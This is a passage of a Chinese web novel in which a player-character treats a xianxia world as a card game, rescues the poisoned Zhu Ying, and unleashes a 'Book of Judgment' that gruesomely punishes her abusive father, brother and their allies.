与此同时,姜定总算是凑够了那一万两复辟下山的金额,确保剩余的银两不会影响运转后,他这才点了确认复辟。 这会地图终于被点亮了,姜定差点忍不住泪流满面。 ——不是,太不容易了啊!他攒了多久才攒到能下山啊! 要知道没能下山前,他每天的日常就是经营,再经营,每天忙着赚钱,压根没去大地图看看啊。 等到地图点亮,还没等他细看,就看到了一处标记着鲜红色感叹号的标记。 有些好奇,姜定挪动鼠标去看,结果不看不要紧,一看吓一跳。 上面赫然显示着金卡人物祝应危在旦夕。 姜定:???不是,开什么玩笑,他早就当金卡人物是囊中之物了,结果现在告诉他这卡要消失了? 怀疑人生的同时,姜定急忙赶往这处,就怕自己赶不及。 要知道紫卡人物已经那般好用了,这金卡不知道要逆天到什么程度。 再说了,这游戏他除了见到了唯一的金卡人物,别的金卡那是一个都没看到,这有可能说明整个游戏内或许就一个。 想想看,若是这唯一的金卡他没拿下来,到时候金卡人物死了,日后的游戏还怎么玩? 要知道金卡具有不可替代性啊! 姜定不免神色焦虑。 ——等等,也有可能这个意外属于无可避免的剧情杀,或许一打开地图,就会强制遇到 总之现在姜定只顾着往那边赶。 而与此同时,不少人抬头发现,空中似乎划过一抹极快而又极亮的光,而后再次消失不见。 因为速度太快,大多数人只来得及在反应过来后惊呼一声,而后面面相觑,互相询问对方那到底是什么东西。 但这玩意谁能知道,甚至因为速度太快,不少人只觉得自己眼花了。 而与此同时,寻宁则已经握紧了手中的暗器,就要对着祝父和祝时二人刺下。 目前,只有她一个人来了,师姐她们还不曾来,但是这情况实在是紧急。 虽说出手会引发不可预知的结果,但若她不出手,恐怕祝小娘子就要死了。 几乎瞬间,寻宁投掷出暗器,先将那碗毒药击碎,而后剩余的两枚暗器直奔祝家父子二人而去。 这两人在看到毒药被击碎后,先是一愣,而后瞬间反应过来,立即想躲开暗器。 寻宁不免冷笑。 她的暗器可不是那么好躲的。 就在她以为暗器能钻入二人体内时,便看到这两人身上像是覆盖了一层保护膜一样,将那暗器弹飞。 暗器被弹开后,“叮咣”一声落在地板上。 寻宁心头不免谨慎,等到看到那新出现的穿着道袍的中年男子时,眼神瞬间聚焦在此人腰间挂着的属于景旭宫的小雕刻牌。 顿时心中有所顾忌。 ——先前在黎州时,她对景旭宫颇有了解,知道这是个有实力的道宫,虽说人品很一般,甚至可以说差,但是架不住他们确实有实力,做事脏。 再想到先前景旭宫十二人在风仙县闹出来的事,顿时倒让她微微忌惮。 毕竟除了这个道士外,她刚才出手没能解决掉祝家父子二人,这二人自然会喊别的侍卫过来协助此道士。 想到最坏的结果,寻宁不免眼神燃出火焰,而后握紧了拳头。 她一脚踏碎房顶的瓦片,先是再次对着场内三人投掷出带着毒的暗器,而后催动祝时体内的母虫,让他先前吃的蛊毒发作。 而后直奔床榻而去,要带走祝应。 那三枚暗器直奔他们三人而来,池大长老冷哼一声:“不自量力,这种玩意来多少都没用!” 同时一挥手,那三枚暗器和先前一样,还没近身就掉落在地上。 祝父和祝时心中一喜,在瞬间反应对方的目标是带走祝应后,忙大喊“抓住她!”。 而就在此刻,剧烈的疼痛瞬间袭来,祝时几乎眼前一黑,而后觉得自己经脉内似乎有千万条虫子在蠕动着。 他惨叫一声,跪倒在地,祝父顾不得去看祝应,忙低头看他。 毕竟祝应今日是必死的,但若是祝时也死了,祝府算是彻底完了。 祝时疼得冷汗直流,一句话都说不出来,祝父急得忙抬头去问池大长老。 倒是池大长老先是微微蹙眉,而后狞笑开口:“蛊毒!这母体就在此人身上!” 祝父眼内划过狠毒:“快抓住这刺客!我儿要是死了,咱们都完了!” 池大长老恼火他这态度,但实际上,他催动符咒的手也是飞快地在结印。 几乎是瞬间赶来的死士拿着刀对着寻宁砍下去,瞬间刀光血影。 至于池大长老,此刻也是对着寻宁投掷出去新的符咒,——禁锢咒,试图让她被困在原地。 这会心中有些恼火——这祝时也是粗心,若不是母虫的缘故,他何必要这般碍手碍脚放不开?这会还必须要保证人活着,不至于没交出母虫就先死了。 而此刻,寻宁搂着人,试图强行离开此地,在躲过了死士的冷刀后,倒是被池大长老阴了一把,固定在原地动弹不得。 等意识到自己动弹不得时,寻宁立即眼露凶色,咬碎了自己口腔内的解药,迅速投掷出去毒气烟雾弹。 她摸索着祝应的嘴巴,将那解药塞进去。 在寻宁苦苦支撑时,寻安则是收到了新的情报,等看到情报上所写那祝家带着毒药前往庆山寺,且之前对于祝小娘子的病情没什么太大的治疗效果后,寻安不免心头狂跳。 ——不好!既已让祝家察觉被调查了,且祝小娘子无力挽回,按照祝家过往的狠辣手段,定是要将这麻烦的源头扼杀。 祝家小娘子有危险! 她骑马的速度更快了几分,眼看即将到达。 心中焦急万分时,却看到一抹极为光亮的异状直奔那庆山寺的方向。 寻安瞪大眼睛刚才不是她眼花吧? 那是什么东西? 这光亮直奔祝应所在之处,沿途负责守卫庆山寺的侍卫们各个抬头惊诧去看,却各个疑惑——什么东西?! 第167章 降临 那亮光速度极快,且用肉眼压根无法看清楚到底是什么。 庆山寺的侍卫们只能抬头痴痴去看,各个以为是什么星象异变。 而唯有屋内的池大长老瞬间感受到一股极为浓厚的威压,而后浑身颤抖不已。 ——等一下,这巨大的威压哪来的? 他人在屋内,自然是没看到外面的那亮光,只是隔空感受到了而已,本怀疑是自己的错觉,但这感觉却逐渐浓厚,似乎是直奔他们而来。 池大长老还在静静感受,而后内心微微忌惮——到底来个什么样的怪物? 而一旁,毫不知情的祝父则是看着被固定在原地的寻宁威胁。 “把母虫交出来的话,一切好说,我不仅不会杀你,还会亲自放了你。 不过你若是不应,那我必定要让你求生不能,求死不得!” 祝父冷哼一声,他手下的死士立即上前,一脸凶狠,看着就要逼迫寻宁说出母虫。 寻宁此生倒是第一次陷入这般危急的状况,毕竟她就算往日再不顺的任务,好歹能转身就跑,而这次被景旭宫此人禁锢住了身体,倒是被动许多。 刚想说点话,结果大门忽然被推开,冲进来一人禀告外面那异常光束的事。 等听到光束正朝着他们直奔而来时,祝父还不曾意识到问题的严重性,倒是池大长老猛地瞪大眼睛。 “你说什么?有光束直奔我们过来了?” 他心中不知为何,泛起一抹惊诧,而后便是一抹隐秘的恐惧。 这恐惧来得十分没有理由,甚至连他都不知为何。 不等他们反应过来,那光线便汇聚在眼前,而后一阵微风扫过,一人便缓缓出现在光内。 众人看到这般变故,这会都惊呆在原地,等那股微风扫过,光线缓缓散开后,众人这才看到其内之人。 ——一身青色衣袍微微拂动,发丝飞舞,仿若每一根都被微风眷恋,形成了最完美的模样。 这张脸一时半会竟然想不出任何足以匹配的形容词,令人深觉恐怖的长相。 在他出现的瞬间,池大长老,祝父,寻宁,以及其余死士和侍卫们全都不自觉呆愣在原地。 寻宁虽说早就知晓仙师大致模样,但那画册毕竟是画册,和真人完全没办法相比,这会亲眼看到仙师真身,就连一向不信神佛的她都有些面色恍惚,更何况那些还没有做过心理准备的人了。 不仅仅是他们,就连原先被蛊毒疼得死去活来的祝时也呆愣了片刻,甚至连疼痛都忘记了。 只能呆呆地沉浸在对方给自己带来的震撼中。 他原先长得已经算是不错的了,黎州元城内的美男子,但和眼前之人相比,那完全是两个物种的差距。 不这已经不是人类了,这是仙人 这是所有人脑内共同想法,这会更是看着仙人背后的蛟龙还在翻滚,心中更是惊叹恐惧数分。 能驭龙,这除了仙人再也无人能做到了! 只是若是仙人的话,为何要出现在此地? 祝父呆愣过后,便开始在脑内琢磨缘由。 偏偏在今日,莫非是他和仙人有缘? 这会不敢说话,忙去看一旁的池大长老。 却见对方完全是一副惊惧谨慎的模样,这会更是心头砰砰直跳。 池大长老心中那股异样的惊惧持续翻滚,而且要远比先前更为剧烈。 浑身都在叫喊着让他逃走。 虽说不清楚为何身体反应这么大,但能活这么久,人必须要遵守自己的本能,很快,池大长老立即动了逃跑的心思,而后捏着符咒,打算直接让自己暂时离开此地。 这是一张他视为珍宝,连续写了一个月才写出来的符咒,作用便是传送。 此符咒需要耗费的材料颇多,再加上很是耗费精力,所以没什么大事的时候,没人会选择用这个。 但池大长老知道,现在便是那个需要用到的时候。 他有种预感,若是此次没能逃走的话,或许他会陷入无法避免的危机。 捏碎符咒,池大长老这才松了口气。 ——符咒一经使用便消散于天地间,无从干涉,所以他这是安全了。 这会不由地放松去看那仙人,以及惊讶地看着他的祝家父子二人。 池大长老心想,他可管不了这些烂摊子了,正想着回到宫内要将此消息禀告给宫主后,却发觉自己在此地呆的时间好像有些太久了。 祝父并未发觉他用了那传送符咒,只是略微带着疑惑看着他。 意识到不对劲后,池大长老顿时慌了。 等等,传送符咒为什么没生效?刚才他确实是用了,但为何? 而此刻,姜定则是再次接住了那漂浮过来的符咒。 “一张传送符咒?第一次见这个符咒,是剧情给的新符咒吧?” 姜定随便点开看了一下,而后暂时将这玩意放回背包,看着屏幕上硕大的黄色指标指着金卡人物,他立马拿了精神。 点击,解开束缚,但是他很快就发现金卡人物的血条只有可怜巴巴的一丝血。 比他上次看到的方知意的血条还要少。 姜定一个激灵,感觉点开金卡人物,忙给她氪金续命。 共计花费1500两,他得到了解毒丹,气血丹,生息丹三种。 几乎不带犹豫的,姜定立即选择将三种丹药给金卡人物喂下去。 寻宁很快就发现自己能动弹了。 她先前被束缚得死死的,这会顿觉浑身一松。 不等寻宁有所反应,就看到仙师那极为温和,仿若山间流淌泉水一般清澈的眼神冲她望过来。 那双眼睛平静,没有波澜,似乎蕴含着世间万物。 寻宁不知道是否要开口说话,却见仙师伸出手臂,手心里浮现出三粒丹药。 这丹药刚出现时,顿时便有一阵浓郁之极的香味传来,弥漫至整个房间内,这香味让人无法抑制的生出想要抢夺此物的念头。 众人顿时呼吸急促地盯着此丹药,就连池大长老也不例外。 此刻,池大长老心中一片震撼。 这人,到底是谁?这神出鬼没的手段,这强大的威压,还有这一手炼丹的好本领,绝非等闲之辈! 他眼神不自觉瞟向对方那腰侧挂着的那两柄弯刀。 这弯刀似散发出荧荧光亮。 等看清楚这弯刀所用材质后,池大长老不免惊叹连连。 用的竟然是那传说级别的材料,青玄铁制作而成。 等到再细细感受,顿觉那弯刀上传来一阵又一阵亡魂凄惨的吼叫声。 先前那抹被刻意忽略的肃杀之气顿时弥漫开来,池大长老身体僵硬地看着那缥缈若仙之人,心底正源源不断地生出恐惧。 ——这个人,不,应该说仙,绝非良善之辈! 在池大长老脑内想这么多时,其余人脑内只充斥着对丹药的渴求。 但想要是想要,却无人敢在仙人面前造次。 这丹药缓缓漂浮至祝应面前,倒是寻宁有些担心。 祝应的身体看着已经无法吃下药丸了,或许应该她帮忙才是。 刚想帮忙,却见那三粒丹药在靠近祝应唇角的瞬间,便化作一股暖流缓缓涌入。 这一幕顿时让众人看呆了。 这会无人敢说话,但众人心中不免泛起了波澜。 祝应此刻早已丧失意识。 但当那股暖流沿着她浑身的经脉游走时,她那原先仿若在大海中飘摇的身体,像是被人托了起来,而后缓缓地往岸边拉去。 意识正在逐渐回归,而原先因为毒药时刻疲惫困乏的身体,竟然也在缓缓地被这股暖流修复。 与此同时,天地之气被她缓缓吸收入体内,不断滋养着她的身体以及精神。 祝应感觉自己放松极了,浑身像是浸泡在温泉里一般舒适,每个骨头缝原先的阴暗寒凉全被挤了出来,这会只剩下充沛的精力。 等到她缓缓睁开眼睛,脑内意识逐渐回归后,看到那抹熟悉的青色身影时,祝应不免瞬间呆愣。 ——这身影,不就是先前降雨时那云层中出现过的仙人? 当初她以为自己病糊涂了,但是没想到,这竟然是真的? 和那日看到的虚无缥缈的仙人不同,此刻的仙人,距离她极近。 她似乎能感受到仙人扑面而来的磅礴威压,但很快消失不见,转而是一种更为柔和的气势。 祝应抬眼望去,在看到仙人那张脸时,忍不住愣在原地。 她绝非那等只看外貌的肤浅之人,但此刻依旧被震撼得半天回不过神。 等到回神后,祝应很快注意到眼下的情况来。 看着满屋子的死士,侍卫,以及那个道士,若是原本的话,她会担心,考虑脱身等麻烦事,但现在仙人出现在此处,不知为何,她却觉得莫名安心。 与此同时,祝父看到眼前的场景,先是震惊不已,而后一抹恐惧逐渐蔓延心头。 原先他还考虑这仙人来到此处到底是为何,但是现在看到对方竟然率先给了祝应丹药,一看便是为了祝应而来,这会一张面庞早就变得苍白无比。 祝时也是呆愣在原地,盯着眼前这堪称荒谬的一幕。 蛊毒的疼痛暂时被他此刻的震惊压制住,他原先好不容易才平静下来的胸口再度剧烈跳动,呼吸急促,眼内闪过浓厚的嫉妒和不安。 ——该死的!祝应她凭什么!她凭什么天资卓越,当天才痛痛快快地过了那么多年,这会快要死了,眼看他们的未来,一切都会变得更好时,仙人却出现了! 不是为了别人,而是为了救她。 仙人亲降,给她喂药,这是何等的宠爱! 祝时一时间怒火攻心,再加上蛊毒的影响,喷出一股血,滴滴答答流淌在那属于祝应的紫色官袍上。 第168章 审判 在仙人出现的第一时间,众人心中不免浮现万千思绪,眼下乱糟糟混为一团。 有惊诧的,恐惧的,好奇的,还有心生邪念的,总之五花八门,什么都有。 而在这中间,祝时那口血喷了出来,将紫色的官服染成更为沉重的深紫色。 血腥味不断地在狭小空间内弥漫,祝父不由大惊,而后低头去看,就看到祝时眼内含着嫉妒。 想到眼下场景,祝父不免觉得状况不对劲,立即伸手去扶他,实则暗暗捏了他一把,让他控制住自己的表情。 再想想看若是祝时都死了,他所追求了一辈子的祝家辉煌也成了笑话,这会竟是大着胆子,忍住颤抖询问仙人。 “这位仙人,您既能救助我家女儿,是否也能救助一番我嫡子?他被下了蛊毒,眼下眼看命不久矣,还望仙人给我儿一个活路啊。” 说完这话后,祝父忙跪在地上磕头,眼看一副十分虔诚的模样,祝时心底闪过一抹说不清道不明的感触。 ——虽说他知道祝父到底是为何求仙人,但无论目的如何,他到底是对自己还是关心的。 比如说,父亲不在乎自己性命,只为了试图救助他这条命。 祝时几乎没有犹豫,也跟着跪了下来,声音哀痛跟着恳求,配合着他那副颇具有迷惑气息的神态,外貌,倒是看着还真有些可怜巴巴。 池大长老没能逃走,这会又看到祝父,祝时低声下气地讨好仙人,一时半会也作壁上观,想看看这仙人所来到底所为何事。 而与此同时,寻宁差点没被祝家父子二人这番表演恶心到。 但没关系,她知道仙人知晓一切,绝不是这二人随便表演就能忽悠的。 那仙人含笑,表情没什么变化,但是细看下,似乎多了几分细微的嘲讽。 其实此刻,姜定则是正看着屏幕上传来的选项发呆。 “啥玩意,这两人求我救他们?看看属性” 等看到是属于紫卡中最为低级的卡后,又看看上面写的附加状态。 ——“若救助此二人,会极大概率降低金卡人物祝应好感,请谨慎选择。”???!!! 几乎在看清楚描述后的第一时间,姜定立马选择了个不救助。 开什么玩笑,紫卡人物他已经有很强的一拨人了,好不容易盼来了心心念念的金卡人物,他是疯了,脑子有病才会放着好好的金卡不用,还要既花费银两又浪费时间去救助两个垃圾紫卡,这不纯纯画蛇添足吗? 等他选择了不救助后,屏幕上开始播放一段属于金卡人物的回忆。 姜定倒是看着那金卡人物祝应天才的前十六年,以及被偷换人生后痛苦的后十六年,而后怒了。 ——不是,这和七八十年代那会考大学替换别人大学分数的人一样可恶啊!幸好他刚才没选择救助,不然一想到这段过去,每次都会觉得和吞了苍蝇一样恶心。 等到这段记忆回放完毕,倒是新弹出来选项。 【眼下你该如何做:】 【A.低调地带走祝应,保持仙人高雅姿态,不沾染一片云彩。】 【B.管他后果咋样,直接杀杀杀,势必要让此地血流成河。】 【C.只惩治有罪之人。】 三个选项弹出来后,姜定几乎没犹豫,选择了C选项。 这和游戏无关,而是他本身就会这样选。 等到那金光逐渐消散后,姜定去戳了戳屏幕,想看看后续剧情如何发展。 仙人似乎陷入了沉默,祝家父子跪得膝盖都发麻了,想抬头去看,结果却看到对方还是那副没什么表情的模样,却依旧让人无法忽略他缥缈姿态。 祝父额头上的汗水不住地往地上流淌,——结果到底会如何?仙人半天不曾开口,是否是因为正在考虑他所说之话有几分真实? 脑袋里正想些有的没的时,却见那仙人终于动作了。 只见他双手微微动作,而后一个会飞的书突然出现,这书看着和往日的书一般模样,但不知为何,当它出现时,众人不免莫名陷入极致的恐慌中。 而后那仙人缓缓开口,那声音仿若山间流淌的寒泉一样,清澈又泛着透骨的凉意。 “让审判之书先检查一番吧。” 池大长老几乎在他唤出那本书时,体内叫嚣着他必须马上离开此地! 那本书看着平平无奇,但此刻,池大长老脑门和后背则已经被汗水浸湿 虽说不知道具体是什么,怎么用,但本能告诉他,必须立刻离开! 再也忍受不了,池大长老捏出两张爆破符咒,打算炸毁房门直接离去。 其实对于是否能炸毁此地他有些绝望,毕竟那神秘仙人手段颇为诡异,他绝对不是对方的对手! 本都做好了逃离失败的准备,但没想到的是那墙壁被炸开了一个大洞。 池大长老一喜,顿时直奔洞口而去。 而与此同时,祝父和祝时也察觉到不对劲,这股感觉在看到池大长老径直逃走后来得更剧烈。 祝父忙喊着让死士护卫自己和祝时出去,同时快步往前跑,试图离开此房间。 另外的人,除了寻宁,倒是全都四散开来。 原先狭小的屋子挤满了人,而此刻,这房内只有他们三人。 寒风从漏风的墙壁上吹进来冷风,寻宁去追随那些人的背影去看,想看看那本书到底作何用,而祝应则是站起身,对着仙师恭敬一拜。 “在下祝应,今日承蒙上仙垂怜,救祝应于厄难之中,此恩此德,无以回报,若日后仙师有驱使之处,祝应亦在所不辞,唯愿能报仙师今日之恩。” 吃下那三粒丹药后,祝时感觉自己身体似乎回归到十六岁时的身体,虽说现在她肉身没有十六岁时强壮,但精神力方面,她自认为和当初无异。 倒也不是说谁救了她她都会这般,毕竟她知晓自己的才能若是追随那不值得追随的人的话,会造成的后果绝对是毁灭性的。 但此仙人不同,先前她就曾看到此仙人施雨,且她能感觉到,眼前仙人并无恶意。 仙师淡淡开口:“不急,不如先看看外面情况如何,等到我带你回去,你自可以重新考虑是否要追随我。” 说完这话,几乎瞬间,祝时和寻宁便觉得自己飞了起来,漂在仙人身后,随后漂浮在一高处,眼看着庆山寺如今乱得不像话。 先前夺命逃亡时,池大长老早就顾不得什么面子不面子的,他深知和这样的强者遇上了,只能说靠着先机逃跑,若是慢了一步,绝对会被杀死的! 而被远远落在身后的祝父二人,此刻也全是逃命的心思,暂时还没心思找他的不痛快。 虽说他们逃命的速度已经放到了最快,但那本书却死死地跟着他们,同时快速翻阅。 同时有那低沉的,仿若从地狱归来的声音不断念出审判之词。 “刘午,曾杀害数十名幼童妇人,该死” “刘烨,曾抢劫入室,奸杀多名妇人,该死” “张威,曾多次欺骗贫者救命钱,导致多人死亡,该死” 那审判之书哗啦啦地翻动着页数,停留在谁面前,便会瞬间念出此人姓名,以及对应着的罪行。 等到宣判完毕,伴随着一声惨叫,被审判之人便会迎接他的宿命。 至于这书本是如何杀人的,祝父逃命之际还抽空看了一眼,但这一眼,几乎就要将他吓得魂飞魄散。 ——只见那书中似有一双手死死地伸出来,而后将那被审判之人的脖颈瞬间拧断,几乎瞬间,那人就断了气,没有鲜血,也来不及挣扎。 可谓是绞杀速度极快。 祝父突然觉得后背的衣袍已经被冷汗浸湿了,原先他觉得自己面对死亡,更害怕祝家落寞,但现在真正经历过此事后,他顿觉原先自己的想法错得离谱。 人活着,还能继续经营,钻营,或许下一代就能翻身,但是人死了,那可以什么法子都没了。 这会恐惧涌上心头,几乎是用了吃奶的力气逃跑。 而祝时也没强哪儿去。 他因蛊毒而脚步虚浮,眼下正被死士背着快速移动。 等到他回头看到那肃杀的审判一幕后,顿觉脖颈发麻,几乎恐惧得要喘不过气来。 这会忙催促着死士快跑,往日那张迷惑性极强的面庞早就丧失了儒雅温和,这会汗水不自觉流淌,咬着牙,早就变得狰狞。 而此刻,祝时腹内蛊毒再次剧烈疼痛,他发出一声惨叫,咬着牙,试图让自己清醒点,祝父不免心情烦躁——这个废物 若不是眼下他只能靠着祝时,不然他早就不管他了!何苦落入如今境地! 祝时不知道父亲这般思索,苦苦忍耐后刚缓片刻,便见那审判之书直奔自己而来,顿时惊恐尖叫。 “快!快躲开这玩意!” 那死士反应过来,忙想换个方向,结果却在瞬间被审判之书念出姓名和罪恶,而后一双手当着祝时的面,活生生地折断了他的脖颈。 感觉到身下的身体瘫软在地后,祝时浑身冰凉,不自觉瞪大眼睛,而后捂着肚子,试图逃窜。 他身后还有死士冲着他奔来,祝父看到这一幕,不免心头狂跳不已。 嘴里差点就要因为祝时的废物怒骂出声。 与此同时,他忙扫视附近,想看看周围有没有死士能来得及救助祝时,但很可惜,来不及了。 那审判之书围绕着祝时兴奋得旋转,那仿若地狱的声调高兴得转了个弯。 “嫉妒——非常嫉妒,你看起来很好吃——” 第169章 报复 祝时几乎是呆愣在原地,外面的一切对他来说仿若静止一般,不再动弹。 而他整个人则是被审判之书死死地围绕在中间,而后那书上的字迹飞速旋转,似乎要从书中跳出来。 “让我看看,你做得坏事可真不少不过在这些里面,你的嫉妒却是最好吃的” 这声音仿若地狱传来的催命符,在他还没反应过来时,从书中突然钻出来一个面容恐怖的不知名怪物来,他伸出舌头,舔了一口祝时,只见这一口舔完,祝时只觉得浑身刺痛,不等去看,就先闻到了一阵血腥味,后知后觉地摸上了脸颊,却没能感受到那皮肤,反而是满手的鲜血。 祝时愣了片刻,呆愣地看着手心的鲜血,而后他被舔过的地方,几乎瞬间往下流淌着黏腻的血液。 一种黏腻且湿润的触感提醒他,那块皮肤早就不再完整,里面是他黏糊的血肉。 “啊——” 刺痛感来得十分急促,他惨叫出声,伸出手似乎要阻止这怪物继续动作,但没用,他反而激起了对方的怒火。 “不要挣扎你必定要体会同样的痛我会一直盯着你,直到你完成赎罪,你的魂魄才会安息” 这声音混合着祝时的尖叫和那审判之书冷漠的声音,在外人看来,祝时先是脸颊皮肉消失,而后露出鲜血淋漓的血肉,隐隐约约似乎能看到下面白骨森森,看上去甚是恐怖。 祝时一脸绝望,看着远处不断逃命的父亲,一脸决绝。 “父亲,救我——” 祝父哪里管得上他,这会被死士背着,回头看他时也是满面惊恐,完全没了过去那副淡定自若的模样,且以往祝时总觉得虽说父亲对他有利用,但无论何时,他总归是对自己有一丝亲情在的。 但眼下,祝父只顾着仓皇逃窜的动作刺激到了祝时,他那双眼睛瞪得很大,而后流出血泪,似乎带着无尽的恨意和恼怒。 “父亲,你别想跑,我会像鬼一样缠着你,直到我们父子两一起去死。” 祝父心底一片惊恐,嘴里忍不住骂他。 “好你个祝时,为父对你付出不少,你竟敢说出这话!逆子!我若是你,我就想方设法让父亲活下去,毕竟祝家还需要人主持大局。” 祝时哈哈大笑,带着癫狂,那张原先极具迷惑性的脸庞,此刻早就血肉模糊。 “祝应说的没错你谁也不爱,只爱自己,只爱权势” 这话说完,几乎瞬间,审判之书就将他卷入书中,很快消失不见,似乎世间不曾有过此人。 而祝父则是心口怦怦直跳,一是被这话刺激的,二则是刚才那一幕实在是惊险至极。 他恨得咬牙切齿,却不能停下脚步,只能让死士带着他继续前进,而高空的三人则是将这一幕尽收眼底。 寻宁惊诧这书本到底是何神器,这绞杀速度实在是太快。 而祝应则是看着祝时刚才挣扎着求生的一幕,心头却是没涌出欢喜等情绪,反而是满满当当难言的苦涩。 ——不是心软,也没有大仇得报的痛快,像是在黏腻的雨季踩死了一直偷偷咬着自己的虫子,虫子的尸体混合着雨水,流淌到了她的鞋尖。 留下那一股混合着难言味道的气味,让她时不时犯恶心,又隐隐约约生出一份踩死了它的快感,但大部分时候,恶心感要远高于这快感。 眼看祝时死得毫无声息,祝父更着急了,尤其是那审判之书逐渐逼近,这会他急得恨不得自己跑路,但他知道不行,毕竟死士的速度可比他快多了。 好不容易等上了马,眼看离那审判之书越来越远时,祝父这才忍不住大喘气。 看着前方骑着马,还在马匹脚上贴符咒的池大长老,祝父不免差点恼火。 但眼下绝非是发火的好时候,为了更快逃命,祝父求着那池大长老给他的马匹上也贴一张符咒。 池大长老其实本不想浪费这个时间,但左思右想,暂时他目前还需要祝父,随即手指一弹,而后那符咒直奔他的马蹄上而去。 等到符咒贴近他身下的马匹,几乎瞬间,祝父便感觉到这速度快了不少,眼看逐渐远离那审判之书,祝父紧绷的心这会才慢慢悠悠缓了过来。 理智逐渐回归,这会才有心思考虑之后该如何。 在祝父还想着回到黎州该如何处理这番烂摊子时,一声熟悉的声音响彻他耳边。 “祝兴” 这声音仿若从地狱深处传来的呢喃,祝父差点一个激动掉下马去,颤颤巍巍回头,却看到那熟悉的审判之书正围绕着他转圈。 “差点跟丢你,不过没关系,你的儿子正催着我找你呢——” 这声音露出哈哈大笑,同时,祝父似乎透过那书本内部看到了祝时狰狞着脸,对着他嘶吼着什么。 那模样可谓是十分惨烈恐怖,祝父不敢再看,忙加速马匹,试图逃走,而那审判之书跟得更紧了。 “别挣扎了,被我念出名字,你就甩不掉我了” 祝父心底一个瑟缩,想不管不顾地逃离此地,但那审判之书却围绕着他开始旋转,而后慢慢悠悠道:“你浑身充满了罪恶的味道别跑了,来我这里。” 边说,这审判之书凑得更近了一些,而后瞬间变大,四周开始变得寂静无声,除了他剧烈跳动的心脏。 祝时从那书中爬了出来,手腕,锁骨,脚上都锁着铁链,这会血肉模糊地对着祝父咬牙开始。 “父亲,来吧,不疼,你看我现在都没感觉” 说话间,祝时已经兴奋地绕着祝父晃悠了好几圈,直到他的铁链缠绕将祝父缠得紧密。 冰凉的铁链混着一股浓厚的血腥味,简直要让祝父头一歪吐了出来。 不等他动作,这本来依附在身体表面的铁链缓缓收紧,而后用力一绞,让他瞬间喷出一口污秽。 ——这是胃部的东西。 祝父看着狼狈极了,这会被祝时用锁链死死缠紧,想说话却说不出任何话,只能满脸惊恐地瞪大眼睛。 祝时那张面庞透出一抹古怪的兴奋,像是对待珍宝一样,仔细而又专注地舔着祝父的脸颊。 在他下口的瞬间,祝父便觉得自己的脸庞传来一阵仿若撕裂般的痛苦。 不由地惨叫出声。 审判之书开始宣判他的罪行,密密麻麻,简直触目惊心。 等到说完后,审判之书几乎没浪费时间,几乎瞬间便将祝父拖入书中,连带着那浑身缠满铁链的祝时。 祝时没再恐惧,反而是死死捏着祝父钻入书中,倒是祝父在进入那书中的瞬间,浑身上下便立即被铁链贯穿固定。 剧烈的痛苦简直要让他承受不住,但很快祝父就察觉到了不对劲。 ——这里疼痛是真的,但人却暂时不会死,只有说还完了罪恶,才会被允许彻底死去。 至于祝时,这会正被吊在他身旁,和他一样,受着刑。 但他的眼睛却死死地盯着祝父,眼眸中除了疼痛就是一种难以描述的仇恨,贪恋等等情绪混合在一起。 祝父被这复杂的眼神看得浑身发麻,而与此同时,他们均是被同时灌下去一碗药水。 一开始,还不知道这是何物,但等到浑身软得像是豆腐,体内滋生出无限的疲惫时,二人这才反应过来,这竟然是祝应之前喝过的药物。 原先他们以为这药物不过就是控制住身体,好让祝应不能继续反抗,但眼下,只有亲自体会到了,才知道这药物到底是有多崩溃。 ——无法掌握身体,浑身都在发软,烫得像是有一把火将浑身的精力全部烧干,除却这之外,呼吸也开始变得困难,似乎以往自然的呼吸如今也需要费尽全力,若不努力,时刻都感觉自己会被憋死。 舌头无意识地往后坠落,死死堵住喉咙,产生一种窒息一般的感觉。 但是他们无人可以帮忙,只能任由身体这般。 且因为他们在此处不会死去,所以这是在纯粹地感受着这种仿若小刀割肉一样的痛楚。 窒息感充斥着每个毛孔,他们想尖叫,却被堵得严严实实,脑内空白,死亡时刻漂浮在空中,却又不肯降临。 等到突然停止时,二人均是伏在地上,冷汗淋漓,喘得仿若要死了一样。 二人心中生出一抹难以描述的感悟,而后又继续被折磨着。 祝时的嫉妒之火像是蚂蚁啃食心脏一样又痒又疼,而祝父则就花样多了,各种各样的死法都有,绝望地哀嚎响彻在这无尽空间,等到折磨了一轮又一轮后,两人两眼迷茫,充斥着痛苦,甚至不知道自己所在何处。 审判之书还在继续攻击,但大部分有罪之人均是被此书快速拧断脖子,而非锁在书内接受折磨。 身后的惨叫声越来越接近,池大长老只觉得身下的马匹速度更快了几分。 为了能活命,他甚至又贴了几个加速符,试图在事情不曾变得更糟糕前离开这里。 身后一片狼藉,但此刻,池大长老顾不得那些,只顾着冲刺,逃命。 而与此同时,他却觉得自己内心深处有什么东西要迅速碎裂。 ——一种陌生的,但时刻尖叫着内部危险的保护墙正在坍塌。 池大长老来不及多想,只能跟随着内心的本能,离这里越远越好。 等他回头去看时,发现那审判之书被他甩在身后,看样子是逃走了。 刚松了口气,感官深处的裂隙“咔嚓”一声碎裂开来。 第170章 熟悉 不等他细细感知,几乎瞬间,一股缺失的记忆迅速涌入他的大脑。 ——对了,这是那日他负责用术法逼迫邱老回忆当初在风仙县发生的一切,那日,他记得是出现了真仙,用了形真意法 几乎是在想清楚这几个字的瞬间,池大长老浑身冷汗直冒。 不,等等,他不能想起来! 该死的! 这会颤抖着手,忙打算将这段记忆再次重封,手刚要动作,却察觉到不妙。 这次的竟然直接是从最后一个字开始的,他压根就没有机会! 池大长老瞪大眼睛,最后听到的便是那招式的最后一个字。 他只保持了那捏诀的姿势,而后整个人就被漫天的花瓣雨割开身躯,血液喷涌,而后很快尸体化作一层肉沫。 这庆山寺可谓是一片腥风血雨。 寻宁眼神不错,也看到了那池大长老死的那一幕,不免心头震撼。 那到底是何手段,那人的实力他清楚,很强大,随意一张符咒就能控制得她动不了,为何眼下却轻飘飘地死了?且这死亡方式堪称诡异。 祝应也被这手段震撼在原地。 她完全没想到,那个强大道士会被这样神秘的手段所绞杀。 要知道当时这道士为她带来的麻烦不可谓不少,尤其是当初她有次快要成功逃脱祝家,但都没能躲过这道士的追捕搜查,这般强大的对手的确会让她心生警惕,先前看着这道士匆忙逃走时,虽说觉得放他回去不好,但说实话,有效的手段暂且没有,只能叹息一声放他离去。 结果谁能想到,不等她多想,仙人早就率先动手。 那个诡秘莫测的道士,这会眼看着是死透了。 眼看最为重要的几人都被击杀,二人微微侧身去看此刻依旧面露微笑的仙人,这会谁都不愿意随意开口。 等到看到被清理得差不多时,仙人手一挥,在原地开了一条传送光门。 